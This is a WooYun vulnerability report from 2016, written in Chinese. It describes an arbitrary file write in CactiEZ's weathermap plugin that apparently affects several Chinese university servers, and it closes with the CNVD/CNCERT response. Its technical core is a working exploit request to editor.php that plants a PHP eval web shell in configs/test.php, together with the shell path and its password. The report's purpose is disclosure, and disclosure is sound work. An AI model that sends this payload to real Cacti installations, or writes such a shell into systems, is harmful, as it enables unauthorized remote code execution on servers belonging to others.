漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0178509
漏洞标题：CactiEZ某插件任意文件写入
相关厂商：cncert
漏洞作者： Taro
提交时间：2016-02-25 12:50
修复时间：2016-05-26 19:20
公开时间：2016-05-26 19:20
漏洞类型：命令执行
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-02-25： 细节已通知厂商并且等待厂商处理中
2016-02-26： 厂商已经确认，细节仅向厂商公开
2016-02-29： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2016-04-21： 细节向核心白帽子及相关领域专家公开
2016-05-01： 细节向普通白帽子公开
2016-05-11： 细节向实习白帽子公开
2016-05-26： 细节向公众公开
简要描述：
RT...
详细说明：
1.北京邮电大学CactiEZ中文版登录页面
http://**.**.**.**/：
存在weathermap插件任意文件写入漏洞
Cacti安装了weathermap插件，可写入任意文件
/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name
网络拓扑图泄露：
http://**.**.**.**//plugins/weathermap/editor.php
Shell：
http://**.**.**.**/plugins/weathermap/configs/test.php
Password：0
2.东南大学CactiEZ中文版登录页面：
http://**.**.**.**
3.沈阳航空航天大学CactiEZ中文版登录页面：
http://**.**.**.**
4.南京大学：
http://**.**.**.**/
5.中国人民大学：
http://**.**.**.**/
7.http://**.**.**.**
8.http://**.**.**.**
9.http://**.**.**.**/
http://**.**.**.**/plugins/weathermap/configs/test.php
漏洞证明：
升级插件，删除后门，清查服务器安全状态
修复方案：
版权声明：转载请注明来源 Taro@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2016-02-26 19:12
厂商回复：
CNVD确认所述漏洞情况，暂未建立与软件生产厂商（或网站管理单位）的直接处置渠道，待认领。
最新状态：
2016-03-01：更新漏洞处置状态：CNVD确认并复现所述情况,已经转由CNCERT向教育网应急组织通报,由其后续协调站管理单位处置.